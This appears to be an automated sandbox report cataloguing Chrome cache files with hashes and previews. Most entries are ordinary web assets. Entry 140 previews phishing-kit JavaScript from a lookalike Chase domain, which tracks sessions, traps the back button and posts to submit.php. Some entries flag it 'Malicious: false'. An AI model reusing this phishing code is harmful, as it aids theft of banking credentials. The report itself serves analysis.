Entropy (8bit):	5.289492706499139
Encrypted:	false
SSDEEP:	1536:aLiBdiaWLOczCmZx6+VWuGzQNOzdn6x2RZd9SEnk9HB96c9Yo/NWLbVj3kC6ta:+kn6x2xe9NK6nC6E
MD5:	378087A64E1394FC51F300BB9C11878C
SHA1:	0C3192B500A4FD550E483CF77A49806A5872185B
SHA-256:	4FE68FA216176E6D1F4580E924BAFECC9F519984ECC06B1A840A08B0D88C95DE
SHA-512:	9A2C70516EA0C8C37C7F072F214DE0AFD5DDEB643C6B5D3FA8ADE3EF8D2CE40BDF8B1B1194BAD296E9075562701EE7DAE48B18144B1CD2D735328BE5A3ACCBE6
Malicious:	false
Reputation:	low
Preview:	/! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /..!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t\|\|r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e\|\|"function"==typeof e?l[c.call(e)]\|\|"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)}

Chrome Cache Entry: 137

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1920x1080, components 3
Category:	dropped
Size (bytes):	273703
Entropy (8bit):	7.972604775437503
Encrypted:	false
SSDEEP:	6144:7t3lojDmWSmJPMxANe5VFNbalPDGlSqeYVKH3R0MeNHX2jBG5:7tVojQCPwUe3Ts7mSqeRSNHGlG5
MD5:	03F5C8F677084A68E156168BD0B9BE4A
SHA1:	96C30B767D2729C6473F74067FF23634F1F00099
SHA-256:	35B3566CE2EDC9F9985D59D62EB26FE3DA2E2C55C2E3DA19CF1E385EE4F81B76
SHA-512:	984A95D33B187708A695741DA509D41D220081421BBD9D41EF41222BBDE925199F119935157317D2664A53E9258782C37607CCC2B090055FF9A72D053CDECED7
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;......8...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....e....3E%..h.%%..h......(.Rf...'4..P.f...S.2h..b...2i1J(.....%% ..4....vh.h4RP.E...f...I..vM!&.4f...sFh.0.(......n.dP!..!...3..(=)r=i2.z.e'5&.i.(...\.E!.!sFi....p....Q..u/zL...(...r(...m;.Q@..I.....F*C....)x...JA...f....v.S.Gj..d.NiE.....(..)i6.Q.Z..c.Z)..{QN...i..;..?..L.6.Z6.!h...4.R...(.b.K.zL..;Q.3Fh.c.1Fh.v..(.V.:QG...........Fh.;.Fh.@....IN.0.Lu...#+H

Chrome Cache Entry: 138

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1136)
Category:	dropped
Size (bytes):	1555
Entropy (8bit):	5.249530958699059
Encrypted:	false
SSDEEP:	24:hY6svN/6zSU6pedQf3Zvcn1BZdAe1nCr1LTHI5z1sW:3qN/2+pUAew85zf
MD5:	FBE36EB2EECF1B90451A3A72701E49D2
SHA1:	AE56EA57C52D1153CEC33CEF91CF935D2D3AF14D
SHA-256:	E8F2DED5D74C0EE5F427A20B6715E65BC79ED5C4FC67FB00D89005515C8EFE63
SHA-512:	7B1FD6CF34C26AF2436AF61A1DE16C9DBFB4C43579A9499F4852A7848F873BAC15BEEEA6124CF17F46A9F5DD632162364E0EC120ACA5F65E7C5615FF178A248F
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html>.<html lang=en>. <meta charset=utf-8>. <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width">. <title>Error 400 (Bad Request)!!1</title>. <style>. {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//ww

Chrome Cache Entry: 139

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (545)
Category:	downloaded
Size (bytes):	2284506
Entropy (8bit):	5.656707821328836
Encrypted:	false
SSDEEP:	24576:oYkFyC9qpO1CrZsYqMScg7AZYszWOqdf+:oYuyCT1CrKYqMSclZYsKdm
MD5:	9E0542C55A1732A45A424885BE756154
SHA1:	D76FDC120E7EB6778298DFB666906C956B4F13E0
SHA-256:	3AD57C0FF005359BA10CF6129D9FA94BEA9E57A8CD9E04E07C13FC747111FAC8
SHA-512:	A146D8A3E3DF654112D0BFD2A2DFDE5D5ABDC279D24B3D8ED70DE6B9EB7D772D79C9A91C2DC559133B613815AD8903DD7546B0B2F17243D20DE8C2A1EA52412B
Malicious:	false
Reputation:	low
URL:	"https://www.gstatic.com/_/apps-fileview/_/js/k=apps-fileview.v.en.6A8Xl22W-fQ.O/am=MBg/d=1/rs=AO0039vPMRCdwAYYEF59kJuKbFDTiIPtsw/m=v,wb"
Preview:	try{.var _F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};_F_toggles_initialize([0x1830, ]);./.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright Google LLC. SPDX-License-Identifier: Apache-2.0././... Copyright (c) 2015-2018 Google, Inc., Netflix, Inc., Microsoft Corp. and contributors. Licensed under the Apache License, Version 2.0 (the "License");. you may not use this file except in compliance with the License.. You may obtain a copy of the License at. http://www.apache.org/licenses/LICENSE-2.0. Unless required by applicable law or agreed to in writing, software. distributed under the License is distributed on an "AS IS" BASIS,. WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.. See the License for the specific language governing permissions and. limitations under the License.././. SPDX-License-Identifier: Apache-2.0././*.

Chrome Cache Entry: 140

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (569), with CRLF line terminators
Category:	downloaded
Size (bytes):	22085
Entropy (8bit):	5.313702298219503
Encrypted:	false
SSDEEP:	384:20Rmn3yZ8HKsQk2SkHjbj8Dc3+3oxoF3rq3d2+q4K3r+plS9p0+EgmsvwzDPj7:2oY0SkDbj8Dck97msvwzDL7
MD5:	2FB611835E208FA0D32BB653C10412BF
SHA1:	B6ED5C1CA264260C7944744CCF1EC9147317F5EE
SHA-256:	05C4C6F035CC8256EDA144EE93F8A6492AD537D6C49D0F7D541FD38B1B180221
SHA-512:	146D24A895A60A2EEF429724BFB951C30794C527BF099901C92DE3D6836C8869D0F82615D5F85FC0BBC430781117B63790C44D5F5BF957CC12C93EE41F11AE44
Malicious:	false
Reputation:	low
URL:	https://online.access.secure001.chase-business.com/content/js/main.js
Preview:	//START system functions for all phishes..window.session = makeid(5);..localStorage.setItem("session", window.session);..var onStorage = function (e) {...if (e.key === 'session' && e.newValue !== window.session)....localStorage.setItem("multitab", window.session);...if (e.key === "multitab" && e.newValue && e.newValue !== window.session) {....window.removeEventListener("storage", onStorage);....localStorage.setItem("session", localStorage.getItem("multitab"));....localStorage.removeItem("multitab");....document.body.innerHTML = 'The current page is already open in another tab. Please follow there!';...}..};..window.addEventListener('storage', onStorage);....history.pushState(null, document.title, location.href);..window.addEventListener('popstate', function (event){...history.pushState(null, document.title, location.href);..});....document.addEventListener('DOMContentLoaded', function() {...let TimeStep = 5000,...url = 'submit.php';.......function Update(){....var uid=($('#uid').length

Chrome Cache Entry: 141

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1224)
Category:	dropped
Size (bytes):	16972
Entropy (8bit):	5.610632369043462
Encrypted:	false
SSDEEP:	384:rAvPH9on/L0Z7LCoK/k8NMxIU8sK+1a+1cS2bs8bVvHi:M39SAooK/O/K+cbRbVvHi
MD5:	56DB2B9B38F212881110E036BBF43E85
SHA1:	4A1AB3DEB689B65F0591AE57531445078538715C
SHA-256:	05A7BA93EAE423C94AE992161734469FDD7A2E77D975FD870B7D2F505C86D71D
SHA-512:	26723ED1D8335C922DC95ED5F7543E6653FD487BDE6428C04463A1ECC35F5771D14714621DA4DCD3B73C8229423958F3871EB24C3F9AAB81DDBDCAD06142EBA5
Malicious:	false
Reputation:	low
Preview:	try{.C("IiC5yd");./*.. Copyright 2020 Google Inc... Permission is hereby granted, free of charge, to any person obtaining a copy. of this software and associated documentation files (the "Software"), to deal. in the Software without restriction, including without limitation the rights. to use, copy, modify, merge, publish, distribute, sublicense, and/or sell. copies of the Software, and to permit persons to whom the Software is. furnished to do so, subject to the following conditions:.. The above copyright notice and this permission notice shall be included in. all copies or substantial portions of the Software... THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR. IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,. FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE. AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER. LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.

Chrome Cache Entry: 142

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15344, version 1.0
Category:	downloaded
Size (bytes):	15344
Entropy (8bit):	7.984625225844861
Encrypted:	false
SSDEEP:	384:ctE5KIuhGO+DSdXwye6i9Xm81v4vMHCbppV0pr3Ll9/w:cqrVO++tw/9CICFbQLlxw
MD5:	5D4AEB4E5F5EF754E307D7FFAEF688BD
SHA1:	06DB651CDF354C64A7383EA9C77024EF4FB4CEF8
SHA-256:	3E253B66056519AA065B00A453BAC37AC5ED8F3E6FE7B542E93A9DCDCC11D0BC
SHA-512:	7EB7C301DF79D35A6A521FAE9D3DCCC0A695D3480B4D34C7D262DD0C67ABEC8437ED40E2920625E98AAEAFBA1D908DEC69C3B07494EC7C29307DE49E91C2EF48
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu4mxK.woff2
Preview:	wOF2......;........H..;..........................d..@..J.`..L.T..<.....x.....^...x.6.$..6. ..t. ..I.h\|.l....A....b6........(......@e.]...:..-.0..r.)..hS..h...N.).D.........b.].......^..t?.m{...."84...9......c...?..r3o....}...S]....zbO.../z..{.....~cc....I...#.G.D....#e.A..b...b`a5P.4........M....v4..fI#X.z,.,...=avy..F.a.\9.P\|.[....r.Q@M.I.._.9..V..Q..]......[ {u..L@...]..K......]C....l$.Z.Z...Zs.4........ x.........F.?.7N..].\|.wb\....Z{1L#..t....0.dM...$JV...{..oX...i....6.v.~......)\|.TtAP&).KQ.]y........'...:.d..+..d..."C.h..p.2.M..e,.UP..@.q..7..D.@...,......B.n. r&.......F!.....\...;R.?-.i...,7..cb../I...Eg...!X.)5.Aj7...Ok..l7.j.A@B`".}.w.m..R.9..T.X.X.d....S..`XI..1... .$C.H.,.\. ..A(.AZ.................`Wr.0]y..-..K.1.............1.tBs..n.0...9.F[b.3x...$....T..PM.Z-.N.rS?I.<8eR'.3..27..?;..OLf.Rj.@.o.W...........j~ATA....vX.N:.3dM.r.)Q.B...4i.f..K.l..s....e.U.2...k..a.GO.}..../.'..%$..ed..'..qP....M..j....../.z&.=...q<....-..?.A.%..K..

Chrome Cache Entry: 143

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	259
Entropy (8bit):	6.7268503778685105
Encrypted:	false
SSDEEP:	6:6v/lhPeoMMphEt0Sa2AKhmC4cR5HIQoplQfQjy30up:6v/7bn2AKhmMjHv2lQfQjw0c
MD5:	AF848AEE503A57E479B0FB57318F3F2F
SHA1:	68FE7097531D492691C6FA3454C8192D13E8572F
SHA-256:	33DD0582F6972DDDB05BEE6FD5EA0312FBD782A8003F4C7876AFEBD0F08F49AD
SHA-512:	1225614BBD2BD8DCF57B31759093EC92096A16AB428DE43606A8F71367BF247B9ADFE1F2C18E5F7156A216CBC4B35CF5070A39E4740FBDE1BAE5709D43734619
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR................a....IDATx.cx.l......+g.....N... ...=....D.\|Y8.......]Z...E.p....`5.....}.lD5..3.....?.......?..8..D......H.....n..(?..r.....L3....\|.....cm...@j@..j.8..\|T/ ....4...^..P>PC:<.>#......CBz.d..".^8.....h......V...Q......IEND.B`.

Chrome Cache Entry: 144

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	121112
Entropy (8bit):	5.837130305275228
Encrypted:	false
SSDEEP:	3072:kyW/Za21hsq1xCLqrQcS8xriAX7E1fbaRrcjSbPxtKDY/Ji/JPvhv:kyWhvHCLqEcS8xOAX7E1f2BPM
MD5:	EAAA71ED8F32B85F24FD3EBC43535BCC
SHA1:	CFFB0A1096D61DC0BA476D19381806BEC8264EF4
SHA-256:	AF2F1227E6BE9926C8A5E9FC5FCE394C150E19412248A3C8F9BC65076E3AECBB
SHA-512:	F178343DFD51C11A326D2322830436188122A3F56BF964C8075291F0D41489048735A356A605579F28B7DA67FFFDB87C2D390D82CE8AB61A54A907AD02CE49C2
Malicious:	false
Reputation:	low
URL:	https://ssl.gstatic.com/docs/common/viewer/v3/v-sprite60.svg
Preview:	<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" x="0" y="0" width="31px" height="4060px" viewBox="0 0 31 4060" preserveAspectRatio="none"><g transform="translate(0,2170)"><path d="M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm0 14H4V4h16v12zm-9-5H7V9h4V5h2v4h4v2h-4v4h-2v-4z"/></g><g transform="translate(0,2428)"><path fill="#C4C7C5" d="M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm0 14H4V4h16v12zm-9-5H7V9h4V5h2v4h4v2h-4v4h-2v-4z"/></g><g transform="translate(0,3396)"><path d="M17.705 10.1401L14.3 4H9.70001L3.60001 15L5.70001 19H13.8027C14.2671 19.8028 14.9121 20.488 15.6822 21H5.70001C5.00001 21 4.30001 20.6 3.90001 19.9L1.80001 15.9C1.50001 15.3 1.50001 14.6 1.80001 14L8.00001 3C8.30001 2.4 9.00001 2 9.70001 2H14.3C15 2 15.7 2.4 16.1 3L20.0307 10.0882C19.6959 10

Chrome Cache Entry: 145

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	5284
Entropy (8bit):	5.128906275087753
Encrypted:	false
SSDEEP:	96:TgNHpjgkviN3+BE3gHWA+0ztCUEr5Go+64hvmssgipiQiiiGtlnC8otq3Ss4tJE4:8ZaNOB0g2Az5CYKZXblnC8mq3SsWJEfw
MD5:	F98F0A3217CB51E844987AAAD6852598
SHA1:	38191471165A4AA97D48D05B36E98C5C56C9388E
SHA-256:	3788ABCA9F3191C8AFBDA781E7B2FE6372FFD426460484E9775A78CC8DA8B164
SHA-512:	29AE65D7B962E5F8A4342C5D65705B8E0E27FD8FFD8D53D0F843E034B441962D3F95A044A3674EF8F67600284BE7CF165F3A145EFD30AFB119D688C64401844B
Malicious:	false
Reputation:	low
URL:	https://online.access.secure001.chase-business.com/content/css/loader.css
Preview:	.....loader {.. position: fixed;.. top: 44%;.. right: 0;.. bottom: 0;.. left: 0;.. z-index: 9999;.. margin: 0;.. text-align: center;.. color: #59405a;.. font-size: 16px;..}.....loader span{...position: relative;...top: -40px;...left: 55px;..}.....loader:before {.. content: "";.. display: block;.. margin: 0 auto 11px;.. text-align: center;.. width: 33px;.. height: 33px;.. border-left: 2px solid #000;.. border-left: 2px solid rgba(204,204,204,1);.. border-right: 2px solid #000;.. border-right: 2px solid rgba(204,204,204,1);.. border-bottom: 2px solid #000;.. border-bottom: 2px solid rgba(204,204,204,1);.. border-top: 2px solid #0092ff;.. border-radius: 51px;.. -webkit-animation: myrotate .75s infinite linear;.. -moz-animation: myrotate .75s infinite linear;.. -o-animation: myrotate .75s infinite linear;.. animation: myrotate .75s infinite linear;.. -webkit-box-sizing: unset;.. -moz-box-sizing: unset;.. box-sizing: unset;..}.....loader:after {.. content: ''

Chrome Cache Entry: 146

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1395)
Category:	downloaded
Size (bytes):	112204
Entropy (8bit):	5.488876769469394
Encrypted:	false
SSDEEP:	1536:ON+4tY0S2yvGnf4vA6s/RXIGDXO9qJUMKur0K3niBBrltmCw3wnWs/ZuTZVUGkpB:T2yvefrtJUEgK3Cvw3wWs/ZuTZVLK
MD5:	BF1BB6702DFE2FAA3EF4331330B32EA8
SHA1:	8F2DAEF516E248C6811D45341A9F8A6264EFFF35
SHA-256:	754F69A8CC7403F6A549C8AF6721E8850F3EC12066B5C49322F262572F3A36F6
SHA-512:	27515F5BFC53E8014E7BF77EB08A223300D7BC9CB8469111FA54024D10F9A5701AF4842EF202F31D127389D6396749EB1AF4A433FC566697BA6123D79C9FF9FB
Malicious:	false
Reputation:	low
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.ZpMpph_5a4M.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo_c5__TAiALeuHoQOKG0BnSpdbJrQ/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([]);.var ca,da,ha,ma,xa,Aa,Ba;ca=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);ma=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}};.ma("Symbol",function(a){if(a)return a;var b

Chrome Cache Entry: 147

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2258)
Category:	dropped
Size (bytes):	103720
Entropy (8bit):	5.679847648017333
Encrypted:	false
SSDEEP:	1536:a38X0GC10GQWUl5wj77Z9HUvcIXC8HU2jB1otsJoIgTkoP:a7GoY07Z9HUvcIXC8HU2j/rijTkoP
MD5:	27B39AE6F6E1418FF0E4B48CB096B2FF
SHA1:	EBD921C776A34D3615C996FE006F949F34FE3103
SHA-256:	E7757404FFE1683F4E24A99074572EF636DB79BA94178E2DE41B7F67AA9DD37D
SHA-512:	BBFD400729319E5D11C34CE50061603F6984D38CAD79725F1D1D7ADFF91AC317CA56DD733F6FCA908DAD7C2C8695C196EC5FBCEE42FA8328D5A86EDFA30D1BCE
Malicious:	false
Reputation:	low
Preview:	try{.var Lle=function(){QL.apply(this,arguments)};P(Lle,QL);Lle.prototype.enqueue=function(a,b){this.insert(a,b)};var Mle=function(a,b){a%=b;return a*b<0?a+b:a},Nle=function(a){return 1-Math.pow(1-a,3)};.}catch(e){_DumpException(e)}.try{.var sNc=function(){return faa&&ha?!ha.mobile&&(ja("iPad")\|\|ja("Android")\|\|ja("Silk")):ja("iPad")\|\|ja("Android")&&!ja("Mobile")\|\|ja("Silk")},pQ=function(){return!(faa&&ha?ha.mobile:!sNc()&&(ja("iPod")\|\|ja("iPhone")\|\|ja("Android")\|\|ja("IEMobile")))&&!sNc()};.}catch(e){_DumpException(e)}.try{.var i3e=function(a,b){this.C=a instanceof Lv?a:new Lv(a,b)};Ck(i3e,fBb);i3e.prototype.Md=function(a,b,c,d){var e=Vf(a);var f=e.body;e=e.documentElement;e=new Lv(f.scrollLeft\|\|e.scrollLeft,f.scrollTop\|\|e.scrollTop);f=this.C.x+e.x;e=this.C.y+e.y;var g=gBb(a);f-=g.x;e-=g.y;bH(new Lv(f,e),a,b,c,null,null,d)};var j3e=function(a,b){i3e.call(this,a,b)};Ck(j3e,i3e);j3e.prototype.F=0;j3e.prototype.D=function(a){this.F=a};.j3e.prototype.Md=function(a,b,c,d){var e=Vx(cWa(a)),f=

Chrome Cache Entry: 148

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 4 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	32038
Entropy (8bit):	2.618648465767992
Encrypted:	false
SSDEEP:	384:6RBHHHHXHHHHdX9ZstMIQ591vvvvvvvv:6RBHHHHXHHHHdX9+z
MD5:	5744986EB3DC6F2DA92157A651889902
SHA1:	5A558B58498FAB2AEB742ACDAB51E0C2FBC78385
SHA-256:	625816F80596303E9DE8E68695973369FAA462B416202825B03899C781464FB9
SHA-512:	CFA4C0179C3B5821F2BAF864A01E2C601653E93823C925FA9A265914768D88CA03BF4B752DE7D6BD48DE12B60069A3DEF1D1F4DE3F230975E459F56B440EFD6E
Malicious:	false
Reputation:	low
Preview:	............ .h...F... .... .........00.... ..%..V...@@.... .(B...:..(....... ..... .....@........................................\.5.\.?.\.?.\.?.\.).........................................\.k.\...\...\...\...\..\.5.\.3.............................\.W.\...\...\...\...\...\..\.G.\..\.C.....................\.C.\...\...\...\...\...\...\..\.G.\...\...\.W.............\.3.\..\...\...\...\...\...\...\..\.G.\...\...\...\.k.........\.3.\.G.\.G.\.G.\.G.\.G.\.G.\.G.\.;.\.G.\...\...\...\...\.7.\.).\..\..\..\..\.;.................\.G.\...\...\...\...\.?.\.?.\...\...\...\...\.G.................\.G.\...\...\...\...\.?.\.?.\...\...\...\...\.G.................\.G.\...\...\...\...\.?.\.?.\...\...\...\...\.G.................\.;.\..\..\..\..\.).\.7.\...\...\...\...\.G.\.;.\.G.\.G.\.G.\.G.\.G.\.G.\.G.\.3.........\.k.\...\...\...\.G.\..\...\...\...\...\...\...\..\.1.............\.W.\...\...\.G.\..\...\...\...\...\...\...\.A.....................\.C.\..\.G.\..\...\...\...\...\...\.U......

Chrome Cache Entry: 149

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (545)
Category:	dropped
Size (bytes):	2284506
Entropy (8bit):	5.656707821328836
Encrypted:	false
SSDEEP:	24576:oYkFyC9qpO1CrZsYqMScg7AZYszWOqdf+:oYuyCT1CrKYqMSclZYsKdm
MD5:	9E0542C55A1732A45A424885BE756154
SHA1:	D76FDC120E7EB6778298DFB666906C956B4F13E0
SHA-256:	3AD57C0FF005359BA10CF6129D9FA94BEA9E57A8CD9E04E07C13FC747111FAC8
SHA-512:	A146D8A3E3DF654112D0BFD2A2DFDE5D5ABDC279D24B3D8ED70DE6B9EB7D772D79C9A91C2DC559133B613815AD8903DD7546B0B2F17243D20DE8C2A1EA52412B
Malicious:	false
Reputation:	low
Preview:	try{.var _F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};_F_toggles_initialize([0x1830, ]);./.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright Google LLC. SPDX-License-Identifier: Apache-2.0././... Copyright (c) 2015-2018 Google, Inc., Netflix, Inc., Microsoft Corp. and contributors. Licensed under the Apache License, Version 2.0 (the "License");. you may not use this file except in compliance with the License.. You may obtain a copy of the License at. http://www.apache.org/licenses/LICENSE-2.0. Unless required by applicable law or agreed to in writing, software. distributed under the License is distributed on an "AS IS" BASIS,. WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.. See the License for the specific language governing permissions and. limitations under the License.././. SPDX-License-Identifier: Apache-2.0././*.

Chrome Cache Entry: 150

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	68
Entropy (8bit):	4.47887345911425
Encrypted:	false
SSDEEP:	3:pPX38/ZoSISHN87lSNDr1d:pPn8/ZoSfN87lSBBd
MD5:	844E7AD848816441E2F3D9E9D6E63047
SHA1:	D30409FA96F74212C26ABAEB5DE8D2857246EBA8
SHA-256:	963371AAD7DF37F73FC1DE7742D11DF335B339721B2C3308DA44188594F27F4B
SHA-512:	33C66E4109D085D6481F33744520A461FA8819852975A23EF7297B772D9AFB506A855FC738935DAD8FD1D6CBAD2F0BFEE88183AEA3A87F5276E34DCE41FEC9DB
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISJQm4AQ_njqwvuhIFDZFhlU4SBQ0G7bv_EgUNkWGVThIFDQbtu_8=?alt=proto
Preview:	CjAKBw2RYZVOGgAKBw0G7bv/GgAKDQ2RYZVOGgQIVhgCIAEKDQ0G7bv/GgQIVhgCIAE=

Chrome Cache Entry: 151

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (604)
Category:	dropped
Size (bytes):	14566
Entropy (8bit):	5.70914661559882
Encrypted:	false
SSDEEP:	384:G3mOiXBu8gbEDBbJvhFUJOpwBznlkjqws/:rOiXBfkAvhmcpwBlkjW/
MD5:	FEC2026A018A7F138042B9FDB25A5E63
SHA1:	1F2F4F6F399A900000FB5B345D82E631D3159685
SHA-256:	273375229A390C6928B7035712B452DCA81851533593629167F7996E01811986
SHA-512:	81D1EB4F11CF792DC00DBA2D4F2FC739959D1223133F0F25CB7402AD4AC012FBE918430F0EE755BBC968411864417232CAF3A50BA3101E1555C71FD6AD3C14DC
Malicious:	false
Reputation:	low
Preview:	try{.var TQ=Symbol();.}catch(e){_DumpException(e)}.try{.C("LBaJxb");.var TTc=function(a){a=a.rect;return Math.floor(Math.max(a.height,a.width).2)},UTc={pseudoElement:"::after",duration:450,fill:"forwards",easing:"cubic-bezier(0.2, 0, 0, 1)"};var YQ=function(a){vP.call(this,a.Pa);this.Yg=!1;this[TQ]=!0};P(YQ,vP);YQ.sa=vP.sa;.YQ.prototype.yd=function(a){if(!this.Yg&&(a instanceof KeyboardEvent?a.key==="Enter"\|\|a.key===" ":1)){this.Yg=!0;var b;(b=this.animation)==null\|\|b.cancel();clearTimeout(this.timeout);this.aa().ub("RBHQF-ksKsZd-OWXEXe-QDgCrf");var c=this.aa().el().getBoundingClientRect();b=TTc({rect:c});var d=a instanceof MouseEvent?{x:a.clientX-c.left,y:a.clientY-c.top}:{x:c.width/2,y:c.height/2};d={x:d.x-b/2,y:d.y-b/2};a={x:(c.width-b)/2,y:(c.height-b)/2};b=d;d={rect:c};var e=d.rect;c=e.width;e=e.height;d=TTc(d);.c=""+(Math.sqrt(Math.pow(c,2)+Math.pow(e,2))+10+Math.max(.35Math.max(e,c),75))/d;d+="px";a={top:[0,0],left:[0,0],height:[d,d],width:[d,d],transform:["translate("+b.x+"px

Chrome Cache Entry: 152

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	3056758
Entropy (8bit):	5.639345706184629
Encrypted:	false
SSDEEP:	24576:ECeBZ7KPOoNdMiKjTNbCvH9t+DgCb3XjuZSHfy:kBZ7KPOoNWi+oH9t+DgCb3XCg6
MD5:	96C559D06808C24580321B3CB8D53BBF
SHA1:	1B364E92AF60607E1B4205ED270D38929D2EAAFC
SHA-256:	6F9AC1ED6E7BB0732DCDA2D2DB918AE358E8BA22C1CB7AF6ED6903D51824DDB5
